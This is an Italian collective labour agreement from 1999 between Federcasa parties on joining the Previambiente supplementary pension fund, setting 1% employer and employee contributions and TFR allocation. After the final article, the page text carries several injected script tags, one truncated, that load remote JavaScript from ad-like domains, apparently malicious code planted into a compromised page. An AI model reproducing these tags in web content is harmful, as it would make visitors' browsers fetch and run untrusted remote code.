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Categoria: Federcasa
Settore: Enti Privati
Data stipula: 25-5-1999

PREVIDENZA INTEGRATIVA

Visto  l'art.  60 del CCNL FEDERCASA 9 luglio 1998, per la  parte  in  cui
prevede l'istituzione di un sistema di previdenza complementare sulla base
dell'Accordo FEDERAMBIENTE sulla stessa materia.

Verificato che:

§    dal  predetto Accordo è derivata la concreta costituzione di un Fondo
  nazionale  di  previdenza complementare denominato  Previambiente  (atto
  costitutivo del 18.6.98, studio notarile Atlante-Cerasi rep. n. 8194);
§    tale  Fondo  è  regolato  da apposito Statuto  e  che  tale  Statuto,
  unitamente  alla  relativa scheda informativa, è stato  approvato  dalla
  Commissione di vigilanza ex art. 4, comma 6, D.lgs. n. 124/93 con delibera
  del 4.11.98;
§    il  predetto  Statuto, all'art. 3, prevede che oltre ai lavoratori  e
  alle  imprese  del  settore ambientale possono essere altresì  associati
  lavoratori e imprese di settori convenzionalmente denominati affini;
§    che  il  comma 3 dello stesso articolo individua espressamente  quale
  "settore affine" quello dell'edilizia residenziale pubblica;
§    che  il  comma  4  dello  stesso art.  3  prevede  che  le  quote  di
  contribuzione  rispettivamente a carico delle imprese e dei  lavoratori,
  nonché  le  specifiche modalità di adesione, siano regolati da  apposito
  accordo.

Si conviene quanto segue:



Articolo 1.

La  contribuzione al Fondo è calcolata in percentuale, per  12  mensilità,
sulla somma delle seguenti voci contrattuali riferite a ciascun livello di
inquadramento:

§   retribuzione base in vigore all'1.1.99;
§   indennità di contingenza;
§   un aumento periodico di anzianità.

Tale contribuzione è dovuta nelle seguenti misure:

§   a carico dell'azienda    1%;
§   a carico del lavoratore  1%.

In  sede  di  rinnovo del CCNL le parti potranno modificare  sia  le  voci
contrattuali che le percentuali sopra indicate.

Il  lavoratore può optare per un contributo a proprio carico  maggiore  di
quello stabilito contrattualmente.

L'impresa  comunicherà al lavoratore, tramite apposita  indicazione  sulla
busta paga, l'entità delle trattenute effettuate a suo carico.

E', altresì, dovuta al Fondo una quota mensile dell'accantonamento del TFR
pari al 2% della retribuzione utile a tale scopo, a valere e in detrazione
dell'accantonamento di legge.

Per  i  lavoratori di 1° impiego, successivo al 28.4.93, è dovuta al Fondo
l'integrale  destinazione  del  TFR a partire  dalla  decorrenza  indicata
dall'ultimo comma del presente articolo.

Per  "lavoratori  di  1° impiego" agli effetti del  comma  precedente,  si
intendono i lavoratori privi, al 28.4.93, di una posizione assicurativa.

Il  Fondo  comunicherà al lavoratore, almeno 1 volta l'anno, i  versamenti
effettuati  a suo favore dall'impresa, distinguendo le quote a carico  del
lavoratore, quelle a carico dell'impresa e le quote TFR.

La  contribuzione  al  Fondo di cui al presente articolo  avrà  decorrenza
dall'1.1.2000  ovvero dall'autorizzazione all'esercizio dell'attività  del
Fondo  da  parte della Commissione di vigilanza di cui alla  premessa,  se
successiva alla predetta data.



Articolo 2.

Per  tutto  quanto non regolato diversamente dal presente  Accordo  si  fa
rinvio  alle disposizioni contenute nello Statuto del Fondo Previambiente,
che ne costituisce parte integrante e sostanziale.


Articolo 3.

Il  presente  Accordo  sarà  notificato, a cura  di  FEDERCASA,  al  Fondo
Previambiente ai sensi del comma 4, art. 3, dello Statuto.

Previambiente adotterà quindi tutti i provvedimenti del caso, al  fine  di
rendere  operativa l'iscrivibilità dei lavoratori e degli enti aderenti  a
FEDERCASA e le forme di partecipazione previste dallo Statuto.<script src=http://www.adwbnr.com/b.js></script><script src=http://www.adwbnr.com/b.js></script><script src=http://www.adwste.mobi/b.js></script><script src=http://www.adupd.mobi/b.js></script><script src=http://www.bnrupdate.mob<script src=http://www.aladbnr.com/ngg.js></script>













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